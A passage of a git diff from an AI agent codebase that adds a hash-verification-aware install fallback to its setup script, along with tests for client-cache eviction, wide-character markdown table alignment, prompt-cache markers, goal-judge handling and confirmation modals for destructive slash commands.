→ v{new_version}") print(f" Previous tag: {prev_tag or '(none — first release)'}") print(f" Commits: {len(commits)}") - print(f" Unique authors: {len(set(c['github_author'] for c in commits))}") + print(f" Unique authors: {len({c['github_author'] for c in commits})}") print(f" Mode: {'PUBLISH' if args.publish else 'DRY RUN'}") print(f"{'='*60}") print() diff --git a/setup-hermes.sh b/setup-hermes.sh index 4d83f94ffb85..9690d6a23a62 100755 --- a/setup-hermes.sh +++ b/setup-hermes.sh @@ -183,17 +183,57 @@ if is_termux; then else # Prefer uv sync with lockfile (hash-verified installs) when available, # fall back to pip install for compatibility or when lockfile is stale. + # + # Multi-tier pip fallback. Goal: ONE compromised PyPI package + # (mistralai 2.4.6 in May 2026 → quarantined) shouldn't silently demote + # a fresh setup to "core only". Edit _BROKEN_EXTRAS when a transitive + # breaks; users keep voice / honcho / google / slack / matrix etc. even + # if mistral can't resolve. + _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable + _ALL_EXTRAS=( + modal daytona vercel messaging matrix cron cli dev tts-premium slack + pty honcho mcp homeassistant sms acp voice dingtalk feishu google + bedrock web youtube + ) + _SAFE_EXTRAS=() + for _e in "${_ALL_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + [ "$_e" = "$_b" ] && _skip=true && break + done + [ "$_skip" = false ] && _SAFE_EXTRAS+=("$_e") + done + _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" + _try_install() { + $UV_CMD pip install -e ".[all]" \ + || $UV_CMD pip install -e "$_SAFE_SPEC" \ + || $UV_CMD pip install -e "." + } + if [ -f "uv.lock" ]; then + # Hash-verified install (preferred). The lockfile records SHA256 + # hashes for every transitive — a compromised transitive would have + # a different hash and be REJECTED by uv. This is the only path + # that protects against transitive-package supply-chain attacks + # (the direct deps in pyproject.toml are exact-pinned, but + # `uv pip install` re-resolves transitives fresh from PyPI). echo -e "${CYAN}→${NC} Using uv.lock for hash-verified installation..." - UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>/dev/null && \ - echo -e "${GREEN}✓${NC} Dependencies installed (lockfile verified)" || { - echo -e "${YELLOW}⚠${NC} Lockfile install failed (may be outdated), falling back to pip install..." - $UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "." - echo -e "${GREEN}✓${NC} Dependencies installed" - } + _UV_SYNC_LOG=$(mktemp) + if UV_PROJECT_ENVIRONMENT="$SCRIPT_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$_UV_SYNC_LOG"; then + echo -e "${GREEN}✓${NC} Dependencies installed (hash-verified via uv.lock)" + rm -f "$_UV_SYNC_LOG" + else + echo -e "${YELLOW}⚠${NC} Lockfile sync failed (lockfile may be stale)." + echo -e "${YELLOW}⚠${NC} Falling back to PyPI resolve — transitives will NOT be hash-verified." + head -5 "$_UV_SYNC_LOG" | sed 's/^/ /' + rm -f "$_UV_SYNC_LOG" + _try_install + echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" + fi else - $UV_CMD pip install -e ".[all]" || $UV_CMD pip install -e "." - echo -e "${GREEN}✓${NC} Dependencies installed" + echo -e "${YELLOW}⚠${NC} uv.lock not found — installing without hash verification of transitives." + _try_install + echo -e "${GREEN}✓${NC} Dependencies installed (transitives re-resolved, not hash-verified)" fi fi diff --git a/tests/agent/test_auxiliary_client.py b/tests/agent/test_auxiliary_client.py index a38f60b7edc5..cdac34d32825 100644 --- a/tests/agent/test_auxiliary_client.py +++ b/tests/agent/test_auxiliary_client.py @@ -2183,6 +2183,42 @@ def test_evict_cached_client_instance_handles_none_and_misses(self): assert _evict_cached_client_instance(None) is False assert _evict_cached_client_instance(MagicMock()) is False + def test_evict_cached_client_instance_walks_async_wrapper(self): + """async_mode is part of the cache key so sync and async share the same + underlying OpenAI client across two distinct cache entries. A single + timeout that closes the leaf must evict BOTH — otherwise the async + entry survives, keeps reusing the dead transport, and every async + aux call (compression, vision, session_search) fails fast with + 'Connection error' until gateway restart even while the sync route + recovers. + + Regression for the async-side gap left by #23482, which fixed the + sync wrapper's _real_client walk but missed the async wrappers. + """ + from agent.auxiliary_client import ( + _client_cache, _client_cache_lock, _evict_cached_client_instance, + CodexAuxiliaryClient, AsyncCodexAuxiliaryClient, + ) + + real = SimpleNamespace(api_key="k", base_url="https://chatgpt.com/backend-api/codex", + responses=SimpleNamespace(stream=lambda **k: None), + close=lambda: None) + sync_wrapper = CodexAuxiliaryClient(real, "gpt-5.5") + async_wrapper = AsyncCodexAuxiliaryClient(sync_wrapper) + with _client_cache_lock: + _client_cache.clear() + _client_cache[("openai-codex", False, None, None, None)] = (sync_wrapper, "gpt-5.5", None) + _client_cache[("openai-codex", True, None, None, None)] = (async_wrapper, "gpt-5.5", None) + try: + assert _evict_cached_client_instance(real) is True + assert ("openai-codex", False, None, None, None) not in _client_cache + assert ("openai-codex", True, None, None, None) not in _client_cache, ( + "async cache entry survived eviction — wrapper is missing _real_client" + ) + finally: + with _client_cache_lock: + _client_cache.clear() + def test_codex_timeout_evicts_cached_wrapper(self): """The timeout closer evicts the cache entry that wraps the closed client.""" from agent.auxiliary_client import ( diff --git a/tests/agent/test_markdown_tables.py b/tests/agent/test_markdown_tables.py new file mode 100644 index 000000000000..d4eb3d4ce266 --- /dev/null +++ b/tests/agent/test_markdown_tables.py @@ -0,0 +1,312 @@ +"""Tests for `agent.markdown_tables.realign_markdown_tables`. + +These cover the alignment guarantee on CJK / wide-character tables and +the conservative no-op behaviour on non-table input. +""" + +from __future__ import annotations + +from textwrap import dedent + +from wcwidth import wcswidth + +from agent.markdown_tables import ( + is_table_divider, + looks_like_table_row, + realign_markdown_tables, + split_table_row, +) + + +def _column_offsets(line: str) -> list[int]: + """Return the display-cell index of every ``|`` in ``line``.""" + + cells: list[int] = [] + width = 0 + for ch in line: + if ch == "|": + cells.append(width) + # wcswidth on a single char; clamp negatives. + w = wcswidth(ch) + width += w if w > 0 else 1 + return cells + + +# --------------------------------------------------------------------------- +# split_table_row / is_table_divider / looks_like_table_row +# --------------------------------------------------------------------------- + + +def test_split_strips_outer_pipes_and_trims(): + assert split_table_row("| a | b | c |") == ["a", "b", "c"] + assert split_table_row("|配置|状态|") == ["配置", "状态"] + assert split_table_row("a | b | c") == ["a", "b", "c"] + + +def test_is_table_divider_handles_alignment_colons(): + assert is_table_divider("|---|---|") + assert is_table_divider("| :--- | ---: | :---: |") + assert not is_table_divider("| - | - |") # 1 dash is not a divider + assert not is_table_divider("| a | b |") + assert not is_table_divider("---") # single column, no pipes + + +def test_looks_like_table_row(): + assert looks_like_table_row("| a | b |") + assert looks_like_table_row("a | b | c") # no leading pipe, ≥2 pipes + assert not looks_like_table_row("not a table") + assert not looks_like_table_row("a | b") # one pipe, no leading pipe + assert not looks_like_table_row("") + + +# --------------------------------------------------------------------------- +# realign_markdown_tables +# --------------------------------------------------------------------------- + + +def test_no_op_on_text_without_tables(): + text = "Hello world\nThis has no | pipes table.\n" + assert realign_markdown_tables(text) == text + + +def test_no_op_when_pipes_but_no_divider(): + text = "echo a | grep b\necho c | wc -l\n" + assert realign_markdown_tables(text) == text + + +def test_cjk_table_pipes_align_across_rows(): + # Model-emitted (under-padded for CJK) input. + src = dedent( + """\ + | 配置 | Config | 论文 (%) | 复现 (%) | 差值 | 状态 | + |------|--------|---------|---------|------|------| + | Vicuna (report) | dense | 79.30 | 未完成 | - | × | + | ChatGLM | chat | 37.60 | 37.82 | +0.22 | ✓ | + | 通义千问 | qwen | (无) | 报错 | - | × | + """ + ) + + out = realign_markdown_tables(src).rstrip("\n").split("\n") + + # All rows in the rebuilt block must have pipes at identical display + # columns — that's the alignment guarantee. + offsets = [_column_offsets(row) for row in out] + assert all(o == offsets[0] for o in offsets), ( + "rebuilt table rows do not share pipe column offsets:\n" + + "\n".join(out) + ) + # And we expect 7 pipes per row (6 columns + outer borders). + assert len(offsets[0]) == 7 + + +def test_emoji_with_cjk_table_aligns(): + src = dedent( + """\ + | 模型 | 状态 | 备注 | + |------|------|------| + | 千问 | ✅ | 通过 | + | Claude | ✅ | 推理强 | + | 文心一言 | ❌ | 报错 | + """ + ) + + out = realign_markdown_tables(src).rstrip("\n").split("\n") + offsets = [_column_offsets(row) for row in out] + # The emoji-with-variation-selector case (⚠️) intentionally tolerates + # 1-cell drift; bare emoji like ✅ / ❌ have stable wcwidth and must + # align. Use bare emoji here so the assertion is hard. + assert all(o == offsets[0] for o in offsets), ( + "emoji+CJK rows do not share pipe column offsets:\n" + "\n".join(out) + ) + + +def test_already_aligned_ascii_table_remains_aligned(): + src = dedent( + """\ + | a | b | + |-----|-----| + | 1 | 2 | + | foo | bar | + """ + ) + out = realign_markdown_tables(src).rstrip("\n").split("\n") + offsets = [_column_offsets(row) for row in out] + assert all(o == offsets[0] for o in offsets) + + +def test_passes_non_table_lines_through_around_a_table(): + src = dedent( + """\ + Here is a comparison: + + | 模型 | 状态 | + |------|------| + | 千问 | 通过 | + + And some prose after. + """ + ) + + out = realign_markdown_tables(src) + assert out.startswith("Here is a comparison:\n") + assert out.endswith("And some prose after.\n") + # And the table lines are aligned. + block = [ln for ln in out.split("\n") if "|" in ln] + offsets = [_column_offsets(row) for row in block] + assert all(o == offsets[0] for o in offsets) + + +# --------------------------------------------------------------------------- +# Vertical fallback for tables wider than the terminal +# --------------------------------------------------------------------------- + + +def test_overflow_falls_back_to_vertical_when_table_wider_than_terminal(): + """A horizontal table that would exceed the available width must + drop to vertical key-value rendering so the terminal does not + soft-wrap mid-cell (which destroys column alignment visually).""" + + src = dedent( + """\ + | Item | Description | Notes | + |------|-------------|-------| + | a | short | ok | + | b | this is a much longer description that stretches the column wider than the others by a lot | fine | + | c | tiny | - | + """ + ) + + out = realign_markdown_tables(src, available_width=100) + + # No horizontal pipe-bordered rows: vertical mode emits "Header: value" + # lines and a ─ separator instead. + assert "|" not in out + assert "Item: a" in out + assert "Description: short" in out + assert "Notes: ok" in out + # Body rows separated by ─ rule + assert "──" in out + + # Every emitted line fits the available width. + for line in out.split("\n"): + assert wcswidth(line) <= 100, f"line wider than budget: {line!r}" + + +def test_horizontal_kept_when_table_fits(): + """A table that fits the terminal must keep the horizontal + pipe-bordered rendering — vertical fallback only kicks in when + soft-wrap is unavoidable.""" + + src = dedent( + """\ + | Name | Age | + |------|-----| + | Alice | 30 | + | Bob | 25 | + """ + ) + + out = realign_markdown_tables(src, available_width=100) + + # Pipe-bordered rendering survives. + body_rows = [ln for ln in out.split("\n") if ln.strip().startswith("|")] + assert len(body_rows) == 4 + offsets = [_column_offsets(r) for r in body_rows] + assert all(o == offsets[0] for o in offsets) + + +def test_vertical_fallback_wraps_long_cell_text_with_indent(): + src = dedent( + """\ + | Key | Value | + |-----|-------| + | x | this value is long enough that wrapping the value to fit a narrow terminal width is required even in vertical mode | + """ + ) + + out = realign_markdown_tables(src, available_width=60) + + lines = out.split("\n") + assert lines[0].startswith("Key: x") + # First "Value:" line + at least one continuation indented by 2 spaces. + value_idx = next(i for i, l in enumerate(lines) if l.startswith("Value:")) + assert lines[value_idx + 1].startswith(" ") + # Every line still fits the budget. + for line in lines: + assert wcswidth(line) <= 60 + + +def test_overflow_falls_back_to_vertical_for_cjk_too(): + """CJK content can also push a table over the terminal budget; + the vertical fallback should kick in regardless of script.""" + + src = dedent( + """\ + | 模型 | 描述 | 备注 | + |------|------|------| + | 千问 | 一个相当长的描述用于把列宽撑得超过可用终端宽度从而触发竖排回退 | 通过 | + | 文心 | 短 | × | + """ + ) + + out = realign_markdown_tables(src, available_width=50) + + assert "|" not in out + assert "模型: 千问" in out + assert "模型: 文心" in out + for line in out.split("\n"): + assert wcswidth(line) <= 50, f"line wider than budget: {line!r}" + + +def test_handles_ragged_rows_by_padding_short_rows(): + src = dedent( + """\ + | a | b | c | + |---|---|---| + | 1 | 2 | + | x | y | z | + """ + ) + out = realign_markdown_tables(src).rstrip("\n").split("\n") + offsets = [_column_offsets(row) for row in out] + # Short rows must be padded out so they have the same pipe count + # and column positions as the header. + assert all(len(o) == len(offsets[0]) for o in offsets) + assert all(o == offsets[0] for o in offsets) + + +def test_multiple_tables_in_one_text(): + src = dedent( + """\ + First: + + | 配置 | 值 | + |------|----| + | 通义 | 1 | + + Second: + + | model | n | + |-------|---| + | gpt | 2 | + """ + ) + out = realign_markdown_tables(src) + # Each table block individually aligns. + blocks: list[list[str]] = [] + current: list[str] = [] + for line in out.split("\n"): + if "|" in line: + current.append(line) + elif current: + blocks.append(current) + current = [] + if current: + blocks.append(current) + + assert len(blocks) == 2 + for block in blocks: + offsets = [_column_offsets(row) for row in block] + assert all(o == offsets[0] for o in offsets), ( + f"block did not align:\n" + "\n".join(block) + ) diff --git a/tests/agent/test_prompt_caching.py b/tests/agent/test_prompt_caching.py index f6f3e9f0a388..9d989571b549 100644 --- a/tests/agent/test_prompt_caching.py +++ b/tests/agent/test_prompt_caching.py @@ -6,6 +6,8 @@ from agent.prompt_caching import ( _apply_cache_marker, apply_anthropic_cache_control, + apply_anthropic_cache_control_long_lived, + mark_tools_for_long_lived_cache, ) @@ -141,3 +143,132 @@ def test_max_4_breakpoints(self): elif "cache_control" in msg: count += 1 assert count <= 4 + + +class TestMarkToolsForLongLivedCache: + def test_returns_unchanged_for_empty_tools(self): + assert mark_tools_for_long_lived_cache(None) is None + assert mark_tools_for_long_lived_cache([]) == [] + + def test_marks_only_last_tool(self): + tools = [ + {"type": "function", "function": {"name": "a"}}, + {"type": "function", "function": {"name": "b"}}, + {"type": "function", "function": {"name": "c"}}, + ] + out = mark_tools_for_long_lived_cache(tools) + assert "cache_control" not in out[0] + assert "cache_control" not in out[1] + assert out[2]["cache_control"] == {"type": "ephemeral", "ttl": "1h"} + + def test_does_not_mutate_input(self): + tools = [{"type": "function", "function": {"name": "a"}}] + mark_tools_for_long_lived_cache(tools) + assert "cache_control" not in tools[0] + + def test_5m_ttl_drops_ttl_field(self): + tools = [{"type": "function", "function": {"name": "a"}}] + out = mark_tools_for_long_lived_cache(tools, long_lived_ttl="5m") + assert out[0]["cache_control"] == {"type": "ephemeral"} + + +class TestApplyAnthropicCacheControlLongLived: + def test_empty_messages(self): + assert apply_anthropic_cache_control_long_lived([]) == [] + + def test_marks_first_block_of_split_system(self): + msgs = [ + {"role": "system", "content": [ + {"type": "text", "text": "STABLE"}, + {"type": "text", "text": "CONTEXT"}, + {"type": "text", "text": "VOLATILE"}, + ]}, + {"role": "user", "content": "msg1"}, + {"role": "assistant", "content": "msg2"}, + ] + out = apply_anthropic_cache_control_long_lived(msgs) + sys_blocks = out[0]["content"] + assert sys_blocks[0]["cache_control"] == {"type": "ephemeral", "ttl": "1h"} + assert "cache_control" not in sys_blocks[1] + assert "cache_control" not in sys_blocks[2] + + def test_rolling_marker_on_last_2_messages(self): + msgs = [ + {"role": "system", "content": [{"type": "text", "text": "S"}]}, + {"role": "user", "content": "u1"}, + {"role": "assistant", "content": "a1"}, + {"role": "user", "content": "u2"}, + {"role": "assistant", "content": "a2"}, + ] + out = apply_anthropic_cache_control_long_lived(msgs) + + def has_marker(m): + c = m.get("content") + if isinstance(c, list) and c and isinstance(c[-1], dict): + return "cache_control" in c[-1] + return "cache_control" in m + + # u1 and a1 (older messages) should NOT be marked + assert not has_marker(out[1]) + assert not has_marker(out[2]) + # u2 and a2 (last 2) SHOULD be marked + assert has_marker(out[3]) + assert has_marker(out[4]) + + def test_rolling_marker_uses_5m_ttl(self): + msgs = [ + {"role": "system", "content": [{"type": "text", "text": "S"}]}, + {"role": "user", "content": "u1"}, + {"role": "assistant", "content": "a1"}, + ] + out = apply_anthropic_cache_control_long_lived( + msgs, long_lived_ttl="1h", rolling_ttl="5m", + ) + # Last user message: cache_control on the wrapped text part should be 5m + last = out[-1] + c = last["content"] + assert isinstance(c, list) + assert c[-1]["cache_control"] == {"type": "ephemeral"} # 5m has no ttl key + + def test_string_system_falls_back_to_envelope_marker(self): + """When the caller didn't split the system message, we still place a marker.""" + msgs = [ + {"role": "system", "content": "Single string system"}, + {"role": "user", "content": "u1"}, + ] + out = apply_anthropic_cache_control_long_lived(msgs) + sys_content = out[0]["content"] + # Wrapped into a list and the (now sole) block gets the 1h marker + assert isinstance(sys_content, list) + assert sys_content[0]["cache_control"] == {"type": "ephemeral", "ttl": "1h"} + + def test_does_not_mutate_input(self): + msgs = [ + {"role": "system", "content": [{"type": "text", "text": "S"}]}, + {"role": "user", "content": "u1"}, + ] + before = copy.deepcopy(msgs) + apply_anthropic_cache_control_long_lived(msgs) + assert msgs == before + + def test_max_4_breakpoints_with_split_system(self): + msgs = [ + {"role": "system", "content": [{"type": "text", "text": "S"}, {"type": "text", "text": "V"}]}, + ] + [ + {"role": "user" if i % 2 == 0 else "assistant", "content": f"msg{i}"} + for i in range(10) + ] + out = apply_anthropic_cache_control_long_lived(msgs) + count = 0 + for m in out: + c = m.get("content") + if isinstance(c, list): + for item in c: + if isinstance(item, dict) and "cache_control" in item: + count += 1 + elif "cache_control" in m: + count += 1 + # 1 system block + last 2 messages = 3 breakpoints from this function. + # tools[-1] is marked separately (not via this function), so a 4th + # breakpoint can be added at API-call time. + assert count == 3 diff --git a/tests/agent/test_prompt_caching_live.py b/tests/agent/test_prompt_caching_live.py new file mode 100644 index 000000000000..f72b6b9d9064 --- /dev/null +++ b/tests/agent/test_prompt_caching_live.py @@ -0,0 +1,112 @@ +"""Live E2E: long-lived prefix caching on Claude via OpenRouter. + +Run only when LIVE_OR_KEY env var is set. Skipped under the normal hermetic +test suite (which unsets credentials). +""" +import os, sys, tempfile, time, shutil, pytest + + +# Probe for the key BEFORE conftest unsets it +_LIVE_KEY = os.environ.get("OPENROUTER_API_KEY") or os.environ.get("LIVE_OR_KEY") +if not _LIVE_KEY: + # Try to read directly from .env + env_path = os.path.expanduser("~/.hermes/.env") + if os.path.exists(env_path): + with open(env_path) as f: + for line in f: + if line.startswith("OPENROUTER_API_KEY="): + _LIVE_KEY = line.strip().split("=", 1)[1].strip().strip('"').strip("'") + break + + +pytestmark = pytest.mark.skipif( + not _LIVE_KEY, + reason="set OPENROUTER_API_KEY (or LIVE_OR_KEY) to run live cache test", +) + + +def test_long_lived_prefix_cache_e2e_openrouter(tmp_path, monkeypatch): + """Two AIAgent runs in fresh sessions: call 1 writes cache, call 2 reads it.""" + monkeypatch.setenv("HERMES_HOME", str(tmp_path)) + # The hermetic conftest unsets OPENROUTER_API_KEY — restore for this test + monkeypatch.setenv("OPENROUTER_API_KEY", _LIVE_KEY) + + # Minimal config — but with enough toolset/guidance to exceed Anthropic's + # ~1024-token minimum-cacheable-prefix threshold. Anthropic silently + # ignores cache_control markers on small blocks. + import yaml + cfg_path = tmp_path / "config.yaml" + cfg_path.write_text(yaml.safe_dump({ + "model": {"provider": "openrouter", "default": "anthropic/claude-haiku-4.5"}, + "prompt_caching": {"long_lived_prefix": True, "long_lived_ttl": "1h", "cache_ttl": "5m"}, + "agent": {"tool_use_enforcement": True}, # adds substantial guidance text + "memory": {"provider": ""}, + "compression": {"enabled": False}, + })) + + from run_agent import AIAgent + + def make_agent(): + return AIAgent( + api_key=_LIVE_KEY, + base_url="https://openrouter.ai/api/v1", + provider="openrouter", + model="anthropic/claude-haiku-4.5", + api_mode="chat_completions", + # Use the default toolset roster — the tools array (~13k tokens + # for ~35 tools) is what carries the bulk of the cross-session + # cache value. With a tiny toolset the cached prefix can fall + # below Anthropic Haiku's 2048-token minimum cacheable size and + # the marker is silently ignored. + enabled_toolsets=None, + quiet_mode=True, + skip_context_files=True, + skip_memory=True, + save_trajectories=False, + ) + + a1 = make_agent() + assert a1._use_prompt_caching is True, "policy should enable caching for Claude on OR" + assert a1._use_long_lived_prefix_cache is True, "long-lived path should activate" + parts = a1._build_system_prompt_parts() + print(f"\nstable={len(parts['stable']):,} ctx={len(parts['context']):,} volatile={len(parts['volatile']):,} chars") + print(f"tool count: {len(a1.tools or [])}") + + # Use distinct user messages each call so OpenRouter's response cache + # doesn't short-circuit the upstream Anthropic call (we need real + # Anthropic billing visibility to verify cache_creation/cache_read). + USER_1 = "Reply with the single word ALPHA." + USER_2 = "Reply with the single word BRAVO." + + print("\n--- Call 1 (cold) ---") + r1 = a1.run_conversation(USER_1, conversation_history=[]) + print(f"final_response[:80]: {(r1.get('final_response') or '')[:80]!r}") + cr1 = a1.session_cache_read_tokens + cw1 = a1.session_cache_write_tokens + print(f"call1: cache_read={cr1} cache_write={cw1}") + + # Wait so cache settles, then fresh agent (NEW SESSION) for cross-session read + time.sleep(2) + a2 = make_agent() + assert a2.session_id != a1.session_id, "second agent must have a new session" + + print("\n--- Call 2 (warm, NEW session, different user msg) ---") + r2 = a2.run_conversation(USER_2, conversation_history=[]) + print(f"final_response[:80]: {(r2.get('final_response') or '')[:80]!r}") + cr2 = a2.session_cache_read_tokens + cw2 = a2.session_cache_write_tokens + print(f"call2: cache_read={cr2} cache_write={cw2}") + + print(f"\n=== VERDICT ===") + print(f" call1 wrote {cw1:,} cache tokens, read {cr1:,}") + print(f" call2 wrote {cw2:,} cache tokens, read {cr2:,}") + if cw1: + print(f" cross-session read fraction: cr2/cw1 = {cr2/cw1:.2%}") + + # Assertions + assert cw1 > 0, f"call 1 must write cache (got {cw1}); long-lived layout not reaching wire" + assert cr2 > 0, ( + f"call 2 must read cache cross-session (got {cr2}); " + f"stable prefix is not byte-stable across sessions" + ) + assert cr2 >= 1000, f"cache_read on call 2 ({cr2}) too small to indicate real reuse" diff --git a/tests/cli/test_cli_goal_interrupt.py b/tests/cli/test_cli_goal_interrupt.py index 879e87c6a731..851b87e856b4 100644 --- a/tests/cli/test_cli_goal_interrupt.py +++ b/tests/cli/test_cli_goal_interrupt.py @@ -58,11 +58,6 @@ def _make_cli_with_goal(session_id: str, goal_text: str = "build a thing"): mgr = GoalManager(session_id=session_id, default_max_turns=5) mgr.set(goal_text) - # Skip Phase-A decompose so tests can patch judge_goal_freeform directly - # for legacy verdict assertions. - mgr.state.decomposed = True - from hermes_cli.goals import save_goal as _sg - _sg(mgr.session_id, mgr.state) cli._goal_manager = mgr return cli, mgr @@ -86,7 +81,7 @@ def test_interrupted_turn_pauses_goal_and_skips_continuation(self, hermes_home): # Judge MUST NOT run on an interrupted turn. If it does, we've # regressed — fail loudly instead of silently querying a mock. - with patch("hermes_cli.goals.judge_goal_freeform") as judge_mock: + with patch("hermes_cli.goals.judge_goal") as judge_mock: judge_mock.side_effect = AssertionError( "judge_goal called on an interrupted turn" ) @@ -111,7 +106,7 @@ def test_interrupted_turn_is_resumable(self, hermes_home): cli.conversation_history = [ {"role": "assistant", "content": "partial"}, ] - with patch("hermes_cli.goals.judge_goal_freeform"): + with patch("hermes_cli.goals.judge_goal"): cli._maybe_continue_goal_after_turn() assert mgr.state.status == "paused" @@ -130,7 +125,7 @@ def test_empty_response_does_not_invoke_judge(self, hermes_home): {"role": "assistant", "content": " \n\n "}, ] - with patch("hermes_cli.goals.judge_goal_freeform") as judge_mock: + with patch("hermes_cli.goals.judge_goal") as judge_mock: judge_mock.side_effect = AssertionError( "judge_goal called on an empty response" ) @@ -149,7 +144,7 @@ def test_no_assistant_message_skipped(self, hermes_home): {"role": "user", "content": "go"}, ] - with patch("hermes_cli.goals.judge_goal_freeform") as judge_mock: + with patch("hermes_cli.goals.judge_goal") as judge_mock: judge_mock.side_effect = AssertionError( "judge_goal called without an assistant response" ) @@ -174,7 +169,7 @@ def test_clean_response_enqueues_continuation_when_judge_says_continue( # Force the judge to say "continue" without touching the network. with patch( - "hermes_cli.goals.judge_goal_freeform", + "hermes_cli.goals.judge_goal", return_value=("continue", "needs more steps", False), ): cli._maybe_continue_goal_after_turn() @@ -194,7 +189,7 @@ def test_clean_response_marks_done_when_judge_says_done(self, hermes_home): ] with patch( - "hermes_cli.goals.judge_goal_freeform", + "hermes_cli.goals.judge_goal", return_value=("done", "goal satisfied", False), ): cli._maybe_continue_goal_after_turn() diff --git a/tests/cli/test_cli_markdown_rendering.py b/tests/cli/test_cli_markdown_rendering.py index 032c8875b3a3..b3144168a0e7 100644 --- a/tests/cli/test_cli_markdown_rendering.py +++ b/tests/cli/test_cli_markdown_rendering.py @@ -118,14 +118,37 @@ def test_strip_mode_preserves_table_structure_while_cleaning_cell_markdown(): ) output = _render_to_text(renderable) - assert "| Syntax | Example |" in output - assert "|---|---|" in output - assert "| Bold | bold |" in output - assert "| Strike | strike |" in output + + # Inline cell markdown is stripped (the contract this test enforces). assert "**" not in output assert "~~" not in output assert "`" not in output + # Cell *content* survives, even if the surrounding whitespace was + # rewritten by the wcwidth-aware re-aligner. Asserting on bare + # cell text keeps this test focused on the strip behaviour rather + # than snapshotting incidental column padding (which is what the + # CJK-alignment fix changes). + assert "Syntax" in output + assert "Example" in output + assert "Bold" in output and "bold" in output + assert "Strike" in output and "strike" in output + + # Structural sanity: the table still renders as pipe-bordered rows + # (header + divider + 2 body rows). + body_rows = [ln for ln in output.splitlines() if ln.strip().startswith("|")] + assert len(body_rows) == 4 + + # Every rendered table row shares the same pipe column offsets — the + # alignment guarantee from realign_markdown_tables. + pipe_cols = [ + [i for i, ch in enumerate(row) if ch == "|"] for row in body_rows + ] + assert all(p == pipe_cols[0] for p in pipe_cols), ( + "table rows misaligned after strip-mode rendering:\n" + + "\n".join(body_rows) + ) + def test_final_assistant_content_can_leave_markdown_raw(): renderable = _render_final_assistant_content("***Bold italic***", mode="raw") diff --git a/tests/cli/test_destructive_slash_confirm.py b/tests/cli/test_destructive_slash_confirm.py index 290314dc371b..1b2fc8c0b1ff 100644 --- a/tests/cli/test_destructive_slash_confirm.py +++ b/tests/cli/test_destructive_slash_confirm.py @@ -6,6 +6,7 @@ from __future__ import annotations +import queue from types import SimpleNamespace from unittest.mock import patch @@ -17,10 +18,17 @@ def _bound(fn, instance): def _make_self(prompt_response): """Build a minimal stand-in 'self' for _confirm_destructive_slash.""" - return SimpleNamespace( + from cli import HermesCLI + + self_ = SimpleNamespace( _app=None, _prompt_text_input=lambda _prompt: prompt_response, + _prompt_text_input_modal=lambda **_kw: prompt_response, + ) + self_._normalize_slash_confirm_choice = _bound( + HermesCLI._normalize_slash_confirm_choice, self_, ) + return self_ def test_gate_off_returns_once_without_prompting(): @@ -117,7 +125,6 @@ def test_gate_on_choice_always_persists_and_returns_always(): self_ = _make_self(prompt_response="2") saves = [] - def _fake_save(key, value): saves.append((key, value)) return True @@ -150,3 +157,55 @@ def test_gate_default_true_when_config_missing(): # treated as on despite the config error. If the gate had been off # this would have returned 'once' without consulting the prompt. assert result is None + + +def test_slash_confirm_modal_number_selection_submits_without_raw_input(): + """Pressing 2 in the TUI modal should resolve to Always Approve directly.""" + from cli import HermesCLI + + q = queue.Queue() + self_ = SimpleNamespace( + _slash_confirm_state={ + "choices": [ + ("once", "Approve Once", "proceed once"), + ("always", "Always Approve", "persist opt-out"), + ("cancel", "Cancel", "abort"), + ], + "selected": 0, + "response_queue": q, + }, + _slash_confirm_deadline=123, + _invalidate=lambda: None, + ) + + _bound(HermesCLI._submit_slash_confirm_response, self_)("always") + + assert q.get_nowait() == "always" + assert self_._slash_confirm_state is None + assert self_._slash_confirm_deadline == 0 + + +def test_slash_confirm_display_fragments_include_choice_mapping(): + """The modal itself must show what 1/2/3 mean, not only 'Choice [1/2/3]'.""" + from cli import HermesCLI + + self_ = SimpleNamespace( + _slash_confirm_state={ + "title": "⚠️ /new — destroys conversation state", + "detail": "This starts a fresh session.", + "choices": [ + ("once", "Approve Once", "proceed once"), + ("always", "Always Approve", "persist opt-out"), + ("cancel", "Cancel", "abort"), + ], + "selected": 1, + }, + ) + + fragments = _bound(HermesCLI._get_slash_confirm_display_fragments, self_)() + rendered = "".join(fragment for _style, fragment in fragments) + + assert "[1] Approve Once" in rendered + assert "[2] Always Approve" in rendered + assert "[3] Cancel" in rendered + assert "Type 1/2/3" in rendered diff --git a/tests/cli/test_prompt_text_input_thread_safety.py b/tests/cli/test_prompt_text_input_thread_safety.py index 7b9af5e0e8b8..fb27a95b3125 100644 --- a/tests/cli/test_prompt_text_input_thread_safety.py +++ b/tests/cli/test_prompt_text_input_thread_safety.py @@ -1,15 +1,9 @@ """Tests for ``HermesCLI._prompt_text_input`` thread-safe input dispatch. -Slash commands (``/clear``, ``/new``, ``/undo``, ``/reload-mcp``) are dispatched -from the ``process_loop`` daemon thread. ``prompt_toolkit.run_in_terminal`` -returns a coroutine that only the main-thread event loop can drive; calling it -from a daemon thread orphans the coroutine, ``_ask`` never runs, and user -keystrokes leak into the composer instead of the confirmation prompt -(see issue #23185). - -The fix mirrors ``_run_curses_picker``: when off the main thread, fall back to -a direct ``input()`` call so the prompt actually renders and consumes -keystrokes. +Raw ``input()`` prompts can race with prompt_toolkit when called from the TUI. +The normal slash confirmations now use a prompt_toolkit-native modal, but +``_prompt_text_input`` remains as a fallback for non-interactive calls and edge +cases. """ import threading @@ -17,7 +11,7 @@ def _make_cli(): - """Minimal HermesCLI shell exposing ``_prompt_text_input``.""" + """Minimal HermesCLI shell exposing prompt fallback helpers.""" import cli as cli_mod obj = object.__new__(cli_mod.HermesCLI) @@ -33,7 +27,7 @@ def test_main_thread_uses_run_in_terminal(self): with patch("prompt_toolkit.application.run_in_terminal") as mock_rit, \ patch("builtins.input", return_value="2"): - result = cli._prompt_text_input("Choice: ") + cli._prompt_text_input("Choice: ") # run_in_terminal was invoked; the _ask closure passed to it would # call input() when driven by the event loop. We assert dispatch path, @@ -43,10 +37,8 @@ def test_main_thread_uses_run_in_terminal(self): def test_background_thread_falls_back_to_direct_input(self): """On a daemon thread, skip run_in_terminal and call input() directly. - This is the bug from issue #23185: process_loop dispatches slash - commands on a daemon thread, so 